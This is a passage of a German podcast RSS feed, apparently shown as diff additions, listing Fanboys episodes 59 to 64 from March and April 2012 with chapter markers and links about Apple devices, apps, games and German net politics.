Gejammer</td></tr><tr><td>00:50:31</td><td>Macbook Pro Gejammer</td></tr><tr><td>00:52:21</td><td><a href="http://www.radiolab.org/2012/apr/02/" target="_blank">Radiolab - Guts</td></tr><tr><td>00:55:40</td><td><a href="http://bjango.com/articles/iterate/" target="_blank">Iterate Podcast</td></tr><tr><td>00:56:47</td><td>Videos hören auf iOS</td></tr><tr><td>00:58:36</td><td><a href="http://itunes.apple.com/de/app/paper-by-fiftythree/id506003812?mt=8" target="_blank">Paper</td></tr><tr><td>01:03:52</td><td><a href="http://www.robinsloan.com/fish/" target="_blank">Fish: a tap essay</td></tr><tr><td>01:07:25</td><td><a href="http://itunes.apple.com/de/app/animation-creator-hd/id363201632?mt=8" target="_blank">Animation Creator HD</td></tr><tr><td>01:11:35</td><td><a href="http://itunes.apple.com/de/app/blockart-hd/id434816892?mt=8" target="_blank">BlockArt HD</td></tr><tr><td>01:13:42</td><td><a href="http://itunes.apple.com/de/app/wimmelburg-hd/id509514469?mt=8" target="_blank">Wimmbelburg HD</td></tr><tr><td>01:16:37</td><td><a href="http://anikey.blogspot.de/2012/01/hansel-gretel-trailer.html" target="_blank">Epic Tales</td></tr><tr><td>01:18:01</td><td><a href="http://itunes.apple.com/de/app/air-display/id368158927?mt=8" target="_blank">Air Display</td></tr><tr><td>01:23:43</td><td><a href="http://itunes.apple.com/de/app/move-the-box/id491113310?mt=8" target="_blank">Move the Box</td></tr><tr><td>01:26:01</td><td><a href="http://www.zefrank.com/great/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2364&amp;user_id=map&amp;title=Fanboys%20Episode%2064&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:24" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:32" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:01:56" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:02:18" title="PSN Rant" />
+ <sc:chapter start="00:05:26" title="Galaxy on Fire 2 HD" href="http://www.galaxyonfire.com/" />
+ <sc:chapter start="00:09:43" title="Nokia Lumia 800" href="http://www.nokia.com/gb-en/products/phone/lumia800/" />
+ <sc:chapter start="00:15:34" title="Carcassonne retinisiert" />
+ <sc:chapter start="00:27:25" title="Prepaid Internet fürs iPad" />
+ <sc:chapter start="00:36:54" title="cnetz" href="http://c-netz.info/blog/waswollenwir/" />
+ <sc:chapter start="00:45:56" title="Macbook Air Gejammer" href="http://support.apple.com/kb/DL1433?viewlocale=en_US&amp;locale=en_US" />
+ <sc:chapter start="00:50:31" title="Macbook Pro Gejammer" />
+ <sc:chapter start="00:52:21" title="Radiolab - Guts" href="http://www.radiolab.org/2012/apr/02/" />
+ <sc:chapter start="00:55:40" title="Iterate Podcast" href="http://bjango.com/articles/iterate/" />
+ <sc:chapter start="00:56:47" title="Videos hören auf iOS" />
+ <sc:chapter start="00:58:36" title="Paper" href="http://itunes.apple.com/de/app/paper-by-fiftythree/id506003812?mt=8" />
+ <sc:chapter start="01:03:52" title="Fish: a tap essay" href="http://www.robinsloan.com/fish/" />
+ <sc:chapter start="01:07:25" title="Animation Creator HD" href="http://itunes.apple.com/de/app/animation-creator-hd/id363201632?mt=8" />
+ <sc:chapter start="01:11:35" title="BlockArt HD" href="http://itunes.apple.com/de/app/blockart-hd/id434816892?mt=8" />
+ <sc:chapter start="01:13:42" title="Wimmbelburg HD" href="http://itunes.apple.com/de/app/wimmelburg-hd/id509514469?mt=8" />
+ <sc:chapter start="01:16:37" title="Epic Tales" href="http://anikey.blogspot.de/2012/01/hansel-gretel-trailer.html" />
+ <sc:chapter start="01:18:01" title="Air Display" href="http://itunes.apple.com/de/app/air-display/id368158927?mt=8" />
+ <sc:chapter start="01:23:43" title="Move the Box" href="http://itunes.apple.com/de/app/move-the-box/id491113310?mt=8" />
+ <sc:chapter start="01:26:01" title="Rausschmeisser" href="http://www.zefrank.com/great/" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#64:" />
+ </item>
+ <item>
+ <title>Episode #63 - Flauschen und Lesen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Flauschen und Lesen</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN063.mp3" length="34465585" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN063</guid>
+ <pubDate>Fri, 30 Mar 2012 18:41:32 +0200</pubDate>
+ <itunes:duration>01:11:39</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Marcel
+00:00:22 und Martin
+00:01:08 Marcels iPad
+00:05:20 Twitter kommt nach Deutschland
+00:09:41 Hannelore Kraft
+00:11:40 Offener Brief der Tatort Autoren
+00:19:48 Daniel Mack und ACTA
+00:24:57 Playstation Orbis
+00:28:19 Foxconn Update
+00:32:07 VBR Schmerzen
+00:34:34 Downcast
+00:39:54 Badesalz
+00:43:10 Draw Something, Charadium
+00:45:47 Linkinus
+00:48:09 Saarland, Schlecker, Medien
+01:07:20 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/zeitweise" target="_blank">Mit Marcel</td></tr><tr><td>00:00:22</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:08</td><td>Marcels iPad</td></tr><tr><td>00:05:20</td><td><a href="http://www.golem.de/news/rowan-barnett-twitter-deutschland-holt-seinen-chef-von-bild-de-1203-90742.html" target="_blank">Twitter kommt nach Deutschland</td></tr><tr><td>00:09:41</td><td>Hannelore Kraft</td></tr><tr><td>00:11:40</td><td><a href="http://www.drehbuchautoren.de/nachrichten/2012/03/offener-brief-von-51-tatort-autoren-0" target="_blank">Offener Brief der Tatort Autoren</td></tr><tr><td>00:19:48</td><td><a href="http://www.gruene-hessen.de/landtag/pressemitteilungen/gruene-acta-ist-kein/" target="_blank">Daniel Mack und ACTA</td></tr><tr><td>00:24:57</td><td><a href="http://www.heise.de/newsticker/meldung/Naechste-Playstation-Orbis-soll-2013-erscheinen-1486412.html" target="_blank">Playstation Orbis</td></tr><tr><td>00:28:19</td><td><a href="http://www.fairlabor.org/report/foxconn-investigation-report" target="_blank">Foxconn Update</td></tr><tr><td>00:32:07</td><td>VBR Schmerzen</td></tr><tr><td>00:34:34</td><td>Downcast</td></tr><tr><td>00:39:54</td><td>Badesalz</td></tr><tr><td>00:43:10</td><td><a href="http://itunes.apple.com/us/app/draw-something-free/id488628250?mt=8" target="_blank">Draw Something, Charadium</td></tr><tr><td>00:45:47</td><td><a href="http://conceitedsoftware.com/products/linkinus" target="_blank">Linkinus</td></tr><tr><td>00:48:09</td><td>Saarland, Schlecker, Medien</td></tr><tr><td>01:07:20</td><td><a href="http://www.julis-mannheim.de/index.php?id=3264" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2363&amp;user_id=map&amp;title=Fanboys%20Episode%2063&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:22" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:08" title="Marcels iPad" />
+ <sc:chapter start="00:05:20" title="Twitter kommt nach Deutschland" href="http://www.golem.de/news/rowan-barnett-twitter-deutschland-holt-seinen-chef-von-bild-de-1203-90742.html" />
+ <sc:chapter start="00:09:41" title="Hannelore Kraft" />
+ <sc:chapter start="00:11:40" title="Offener Brief der Tatort Autoren" href="http://www.drehbuchautoren.de/nachrichten/2012/03/offener-brief-von-51-tatort-autoren-0" />
+ <sc:chapter start="00:19:48" title="Daniel Mack und ACTA" href="http://www.gruene-hessen.de/landtag/pressemitteilungen/gruene-acta-ist-kein/" />
+ <sc:chapter start="00:24:57" title="Playstation Orbis" href="http://www.heise.de/newsticker/meldung/Naechste-Playstation-Orbis-soll-2013-erscheinen-1486412.html" />
+ <sc:chapter start="00:28:19" title="Foxconn Update" href="http://www.fairlabor.org/report/foxconn-investigation-report" />
+ <sc:chapter start="00:32:07" title="VBR Schmerzen" />
+ <sc:chapter start="00:34:34" title="Downcast" />
+ <sc:chapter start="00:39:54" title="Badesalz" />
+ <sc:chapter start="00:43:10" title="Draw Something, Charadium" href="http://itunes.apple.com/us/app/draw-something-free/id488628250?mt=8" />
+ <sc:chapter start="00:45:47" title="Linkinus" href="http://conceitedsoftware.com/products/linkinus" />
+ <sc:chapter start="00:48:09" title="Saarland, Schlecker, Medien" />
+ <sc:chapter start="01:07:20" title="Rausschmeisser" href="http://www.julis-mannheim.de/index.php?id=3264" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#63:" />
+ </item>
+ <item>
+ <title>Episode #62 - Hachen bis der Arzt kommt</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Hachen bis der Arzt kommt</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN062.mp3" length="43852112" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN062</guid>
+ <pubDate>Thu, 22 Mar 2012 21:44:08 +0100</pubDate>
+ <itunes:duration>01:31:13</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:15 und Martin
+00:00:42 Opacity kann auch Code ausgeben
+00:02:10 This American Life - Redaction
+00:11:51 iPad Eindrücke
+00:25:57 Apple macht was mit dem ganzen Geld (nix spannendes)
+00:29:56 Tipps für Metadaten für Video Home Sharing auf dem iPad
+00:39:18 Die Nachbarn
+00:39:58 Marcel auf der re-publica
+00:45:18 Spotify und Facebook
+00:50:14 Podcastclient Wünsche
+00:52:29 Daten syncen
+00:58:55 Leere Alben in der MobileMe Gallery
+01:01:21 Mari0
+01:03:57 Journey
+01:17:28 Passage
+01:18:25 Mehr Journey
+01:19:27 Raumzeit iPhone Audio-Adventure
+01:21:30 Russian Dancing Men
+01:25:09 DrawSomething
+01:29:29 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:42</td><td><a href="http://likethought.com/opacity/" target="_blank">Opacity kann auch Code ausgeben</td></tr><tr><td>00:02:10</td><td><a href="http://tal.fm/460" target="_blank">This American Life - Redaction</td></tr><tr><td>00:11:51</td><td>iPad Eindrücke</td></tr><tr><td>00:25:57</td><td><a href="http://www.appleoutsider.com/2012/03/20/cash/" target="_blank">Apple macht was mit dem ganzen Geld (nix spannendes)</td></tr><tr><td>00:29:56</td><td>Tipps für Metadaten für Video Home Sharing auf dem iPad</td></tr><tr><td>00:39:18</td><td>Die Nachbarn</td></tr><tr><td>00:39:58</td><td><a href="http://re-publica.de/12/en/speaker/" target="_blank">Marcel auf der re-publica</td></tr><tr><td>00:45:18</td><td>Spotify und Facebook</td></tr><tr><td>00:50:14</td><td>Podcastclient Wünsche</td></tr><tr><td>00:52:29</td><td>Daten syncen</td></tr><tr><td>00:58:55</td><td>Leere Alben in der MobileMe Gallery</td></tr><tr><td>01:01:21</td><td><a href="http://stabyourself.net/mari0/" target="_blank">Mari0</td></tr><tr><td>01:03:57</td><td><a href="http://www.youtube.com/watch?v=KasceIfLySg" target="_blank">Journey</td></tr><tr><td>01:17:28</td><td><a href="http://hcsoftware.sourceforge.net/passage/" target="_blank">Passage</td></tr><tr><td>01:18:25</td><td><a href="http://breakfast.vu0.org/archives/779" target="_blank">Mehr Journey</td></tr><tr><td>01:19:27</td><td><a href="http://itunes.apple.com/de/app/raumzeit-folge-1-der-verbotene/id385556738?mt=8" target="_blank">Raumzeit iPhone Audio-Adventure</td></tr><tr><td>01:21:30</td><td><a href="http://www.russiandancingmen.com/" target="_blank">Russian Dancing Men</td></tr><tr><td>01:25:09</td><td><a href="http://itunes.apple.com/us/app/draw-something-free/id488628250?mt=8" target="_blank">DrawSomething</td></tr><tr><td>01:29:29</td><td><a href="http://www.russiandancingmen.com/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2362&amp;user_id=map&amp;title=Fanboys%20Episode%2062&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:15" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:42" title="Opacity kann auch Code ausgeben" href="http://likethought.com/opacity/" />
+ <sc:chapter start="00:02:10" title="This American Life - Redaction" href="http://tal.fm/460" />
+ <sc:chapter start="00:11:51" title="iPad Eindrücke" />
+ <sc:chapter start="00:25:57" title="Apple macht was mit dem ganzen Geld (nix spannendes)" href="http://www.appleoutsider.com/2012/03/20/cash/" />
+ <sc:chapter start="00:29:56" title="Tipps für Metadaten für Video Home Sharing auf dem iPad" />
+ <sc:chapter start="00:39:18" title="Die Nachbarn" />
+ <sc:chapter start="00:39:58" title="Marcel auf der re-publica" href="http://re-publica.de/12/en/speaker/" />
+ <sc:chapter start="00:45:18" title="Spotify und Facebook" />
+ <sc:chapter start="00:50:14" title="Podcastclient Wünsche" />
+ <sc:chapter start="00:52:29" title="Daten syncen" />
+ <sc:chapter start="00:58:55" title="Leere Alben in der MobileMe Gallery" />
+ <sc:chapter start="01:01:21" title="Mari0" href="http://stabyourself.net/mari0/" />
+ <sc:chapter start="01:03:57" title="Journey" href="http://www.youtube.com/watch?v=KasceIfLySg" />
+ <sc:chapter start="01:17:28" title="Passage" href="http://hcsoftware.sourceforge.net/passage/" />
+ <sc:chapter start="01:18:25" title="Mehr Journey" href="http://breakfast.vu0.org/archives/779" />
+ <sc:chapter start="01:19:27" title="Raumzeit iPhone Audio-Adventure" href="http://itunes.apple.com/de/app/raumzeit-folge-1-der-verbotene/id385556738?mt=8" />
+ <sc:chapter start="01:21:30" title="Russian Dancing Men" href="http://www.russiandancingmen.com/" />
+ <sc:chapter start="01:25:09" title="DrawSomething" href="http://itunes.apple.com/us/app/draw-something-free/id488628250?mt=8" />
+ <sc:chapter start="01:29:29" title="Rausschmeisser" href="http://www.russiandancingmen.com/" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#62:" />
+ </item>
+ <item>
+ <title>Episode #61 - Aufbrowsen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Aufbrowsen</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN061.mp3" length="43252132" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN061</guid>
+ <pubDate>Thu, 15 Mar 2012 20:51:50 +0100</pubDate>
+ <itunes:duration>01:29:58</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:13 Mit Dominik
+00:00:15 Marcel
+00:00:21 und Martin
+00:00:55 Ponytime Podcast
+00:02:11 iPad Lieferschmerzen
+00:08:31 Kapitel 6
+00:10:18 Lange Musiktitel anzeigen
+00:14:32 Twitter kauft posterous
+00:18:17 delicious.com
+00:21:37 Spotify
+00:34:12 Yahoo hat Facebook erfunden
+00:39:17 Firefox und h264
+00:46:46 FDP für und gegen Leistungsschutzrecht
+00:53:48 Spieleautorentagung
+00:56:39 knife city
+00:57:56 Favs
+01:03:21 Incoboto
+01:10:10 PaintCode
+01:13:39 Journey
+01:26:20 iWork Beta schliesst die Pforten
+01:28:28 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:13</td><td>Mit Dominik</td></tr><tr><td>00:00:15</td><td>Marcel</td></tr><tr><td>00:00:21</td><td>und Martin</td></tr><tr><td>00:00:55</td><td><a href="http://ponytime.net/" target="_blank">Ponytime Podcast</td></tr><tr><td>00:02:11</td><td><a href="http://www.fscklog.com/2012/03/ipad-3-generation-versand-nach-deutschland-läuft-an-mit-hermes.html" target="_blank">iPad Lieferschmerzen</td></tr><tr><td>00:08:31</td><td>Kapitel 6</td></tr><tr><td>00:10:18</td><td>Lange Musiktitel anzeigen</td></tr><tr><td>00:14:32</td><td><a href="http://thenextweb.com/insider/2012/03/12/twitter-has-acquired-shortform-blogging-company-posterous/" target="_blank">Twitter kauft posterous</td></tr><tr><td>00:18:17</td><td><a href="http://delicious.com" target="_blank">delicious.com</td></tr><tr><td>00:21:37</td><td>Spotify</td></tr><tr><td>00:34:12</td><td><a href="http://www.wired.com/epicenter/2012/03/opinion-baio-yahoo-patent-lie/" target="_blank">Yahoo hat Facebook erfunden</td></tr><tr><td>00:39:17</td><td><a href="http://www.appleinsider.com/articles/12/03/14/mozilla_considers_h264_video_support_after_googles_vp8_fails_to_gain_traction.html" target="_blank">Firefox und h264</td></tr><tr><td>00:46:46</td><td><a href="http://netzpolitik.org/2012/neues-zdf-politikmagazin-berlin-politix/" target="_blank">FDP für und gegen Leistungsschutzrecht</td></tr><tr><td>00:53:48</td><td><a href="http://www.spieleautorentagung.de/" target="_blank">Spieleautorentagung</td></tr><tr><td>00:56:39</td><td><a href="http://www.8bitpeoples.com/discography/8BP125" target="_blank">knife city</td></tr><tr><td>00:57:56</td><td><a href="http://www.favsapp.com/" target="_blank">Favs</td></tr><tr><td>01:03:21</td><td><a href="http://itunes.apple.com/us/app/incoboto/id499589490?mt=8" target="_blank">Incoboto</td></tr><tr><td>01:10:10</td><td><a href="http://www.paintcodeapp.com/" target="_blank">PaintCode</td></tr><tr><td>01:13:39</td><td><a href="http://en.wikipedia.org/wiki/Journey_(2012_video_game)" target="_blank">Journey</td></tr><tr><td>01:26:20</td><td>iWork Beta schliesst die Pforten</td></tr><tr><td>01:28:28</td><td><a href="http://www.zefrank.com/scared/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2361&amp;user_id=map&amp;title=Fanboys%20Episode%2061&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:13" title="Mit Dominik" />
+ <sc:chapter start="00:00:15" title="Marcel" />
+ <sc:chapter start="00:00:21" title="und Martin" />
+ <sc:chapter start="00:00:55" title="Ponytime Podcast" href="http://ponytime.net/" />
+ <sc:chapter start="00:02:11" title="iPad Lieferschmerzen" href="http://www.fscklog.com/2012/03/ipad-3-generation-versand-nach-deutschland-läuft-an-mit-hermes.html" />
+ <sc:chapter start="00:08:31" title="Kapitel 6" />
+ <sc:chapter start="00:10:18" title="Lange Musiktitel anzeigen" />
+ <sc:chapter start="00:14:32" title="Twitter kauft posterous" href="http://thenextweb.com/insider/2012/03/12/twitter-has-acquired-shortform-blogging-company-posterous/" />
+ <sc:chapter start="00:18:17" title="delicious.com" href="http://delicious.com" />
+ <sc:chapter start="00:21:37" title="Spotify" />
+ <sc:chapter start="00:34:12" title="Yahoo hat Facebook erfunden" href="http://www.wired.com/epicenter/2012/03/opinion-baio-yahoo-patent-lie/" />
+ <sc:chapter start="00:39:17" title="Firefox und h264" href="http://www.appleinsider.com/articles/12/03/14/mozilla_considers_h264_video_support_after_googles_vp8_fails_to_gain_traction.html" />
+ <sc:chapter start="00:46:46" title="FDP für und gegen Leistungsschutzrecht" href="http://netzpolitik.org/2012/neues-zdf-politikmagazin-berlin-politix/" />
+ <sc:chapter start="00:53:48" title="Spieleautorentagung" href="http://www.spieleautorentagung.de/" />
+ <sc:chapter start="00:56:39" title="knife city" href="http://www.8bitpeoples.com/discography/8BP125" />
+ <sc:chapter start="00:57:56" title="Favs" href="http://www.favsapp.com/" />
+ <sc:chapter start="01:03:21" title="Incoboto" href="http://itunes.apple.com/us/app/incoboto/id499589490?mt=8" />
+ <sc:chapter start="01:10:10" title="PaintCode" href="http://www.paintcodeapp.com/" />
+ <sc:chapter start="01:13:39" title="Journey" href="http://en.wikipedia.org/wiki/Journey_(2012_video_game)" />
+ <sc:chapter start="01:26:20" title="iWork Beta schliesst die Pforten" />
+ <sc:chapter start="01:28:28" title="Rausschmeisser" href="http://www.zefrank.com/scared/" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#61:" />
+ </item>
+ <item>
+ <title>Episode #60 - The new fanboys</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>The new fanboys</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN060.mp3" length="48269186" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN060</guid>
+ <pubDate>Fri, 09 Mar 2012 21:53:57 +0100</pubDate>
+ <itunes:duration>01:40:25</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:12 Marcel
+00:00:16 und Martin
+00:04:49 Bismark Wachswalze
+00:05:00 Katzenboxen
+00:05:33 Apple TV
+00:14:28 iPad
+00:23:39 Kernthemen
+00:26:50 LTE-Gate
+00:36:58 Siri
+00:38:37 Name
+00:42:56 Bestellschmerzen
+00:47:05 iOS 5.1
+00:51:22 iPhoto
+00:59:36 Garageband
+01:03:31 Leistungsschutzrecht
+01:17:10 Apps auf alten iOSen benutzen
+01:19:34 Windows 8
+01:23:08 Flattr versteuern
+01:26:36 Explizite Podcasts
+01:32:17 wir. müssen reden #37
+01:33:38 Music Box
+01:39:22 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:16</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:04:49</td><td><a href="http://www.youtube.com/watch?v=4WBUv3229u0" target="_blank">Bismark Wachswalze</td></tr><tr><td>00:05:00</td><td><a href="http://www.youtube.com/watch?v=k52pLvVmmkU" target="_blank">Katzenboxen</td></tr><tr><td>00:05:33</td><td><a href="http://www.apple.com/appletv/" target="_blank">Apple TV</td></tr><tr><td>00:14:28</td><td><a href="http://www.apple.com/ipad/" target="_blank">iPad</td></tr><tr><td>00:23:39</td><td><a href="http://www.anandtech.com/show/5663/analysis-of-the-new-apple-ipad" target="_blank">Kernthemen</td></tr><tr><td>00:26:50</td><td><a href="http://www.heise.de/newsticker/meldung/Apple-Neues-iPad-unterstuetzt-LTE-in-Deutschland-nicht-1466850.html" target="_blank">LTE-Gate</td></tr><tr><td>00:36:58</td><td>Siri</td></tr><tr><td>00:38:37</td><td>Name</td></tr><tr><td>00:42:56</td><td>Bestellschmerzen</td></tr><tr><td>00:47:05</td><td>iOS 5.1</td></tr><tr><td>00:51:22</td><td>iPhoto</td></tr><tr><td>00:59:36</td><td>Garageband</td></tr><tr><td>01:03:31</td><td><a href="http://logbuch-netzpolitik.de/lnp015-b-wie-blog-c-wie-zukunft/" target="_blank">Leistungsschutzrecht</td></tr><tr><td>01:17:10</td><td>Apps auf alten iOSen benutzen</td></tr><tr><td>01:19:34</td><td>Windows 8</td></tr><tr><td>01:23:08</td><td><a href="http://medienradio.org/mr/mr032-flattr/" target="_blank">Flattr versteuern</td></tr><tr><td>01:26:36</td><td>Explizite Podcasts</td></tr><tr><td>01:32:17</td><td><a href="http://wir.muessenreden.de/2012/03/09/wmr37-weltfrauenwmr-einfach-mal-klar-kommen/" target="_blank">wir. müssen reden #37</td></tr><tr><td>01:33:38</td><td><a href="www.amazon.de/Mechanische-Spieluhr-MUSICBOX-selber-Komponieren/dp/B000HAUEFY" target="_blank">Music Box</td></tr><tr><td>01:39:22</td><td><a href="http://www.youtube.com/watch?v=920FcQ4nbWQ" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2360&amp;user_id=map&amp;title=Fanboys%20Episode%2060&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:16" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:04:49" title="Bismark Wachswalze" href="http://www.youtube.com/watch?v=4WBUv3229u0" />
+ <sc:chapter start="00:05:00" title="Katzenboxen" href="http://www.youtube.com/watch?v=k52pLvVmmkU" />
+ <sc:chapter start="00:05:33" title="Apple TV" href="http://www.apple.com/appletv/" />
+ <sc:chapter start="00:14:28" title="iPad" href="http://www.apple.com/ipad/" />
+ <sc:chapter start="00:23:39" title="Kernthemen" href="http://www.anandtech.com/show/5663/analysis-of-the-new-apple-ipad" />
+ <sc:chapter start="00:26:50" title="LTE-Gate" href="http://www.heise.de/newsticker/meldung/Apple-Neues-iPad-unterstuetzt-LTE-in-Deutschland-nicht-1466850.html" />
+ <sc:chapter start="00:36:58" title="Siri" />
+ <sc:chapter start="00:38:37" title="Name" />
+ <sc:chapter start="00:42:56" title="Bestellschmerzen" />
+ <sc:chapter start="00:47:05" title="iOS 5.1" />
+ <sc:chapter start="00:51:22" title="iPhoto" />
+ <sc:chapter start="00:59:36" title="Garageband" />
+ <sc:chapter start="01:03:31" title="Leistungsschutzrecht" href="http://logbuch-netzpolitik.de/lnp015-b-wie-blog-c-wie-zukunft/" />
+ <sc:chapter start="01:17:10" title="Apps auf alten iOSen benutzen" />
+ <sc:chapter start="01:19:34" title="Windows 8" />
+ <sc:chapter start="01:23:08" title="Flattr versteuern" href="http://medienradio.org/mr/mr032-flattr/" />
+ <sc:chapter start="01:26:36" title="Explizite Podcasts" />
+ <sc:chapter start="01:32:17" title="wir. müssen reden #37" href="http://wir.muessenreden.de/2012/03/09/wmr37-weltfrauenwmr-einfach-mal-klar-kommen/" />
+ <sc:chapter start="01:33:38" title="Music Box" href="www.amazon.de/Mechanische-Spieluhr-MUSICBOX-selber-Komponieren/dp/B000HAUEFY" />
+ <sc:chapter start="01:39:22" title="Rausschmeisser" href="http://www.youtube.com/watch?v=920FcQ4nbWQ" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#60:" />
+ </item>
+ <item>
+ <title>Episode #59 - Wabernde Smartie Bubbles</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Wabernde Smartie Bubbles</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN059.mp3" length="40533598" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN059</guid>
+ <pubDate>Fri, 02 Mar 2012 21:36:58 +0100</pubDate>
+ <itunes:duration>01:24:18</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Sorry für die schlechte Audioqualität
+00:00:02 die SD Karte starb, und wir mussten den Streamrip verwenden
+00:00:08 Mit Dominik
+00:00:10 Marcel
+00:00:14 und Martin
+00:01:20 Exkurs: DNS-Tunneln
+00:04:09 Sony Vita Rant
+00:24:08 Circle Pad Pro
+00:29:53 iPad 3 Event am Mittwoch
+00:42:02 Ze Frank kickstartet
+00:50:17 Auditorium 2
+00:53:55 Pogo Video
+00:54:33 Wir schweifen ab
+00:55:38 Garageband-Schmerzen
+00:58:20 Zertifiziertes Mac-RAM
+01:02:32 Qwiki
+01:05:12 Brettspielvideotutorials
+01:09:25 WWDC - Warum?
+01:13:31 Safari 5.2 unter Lion
+01:15:34 Waking Mars
+01:21:32 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
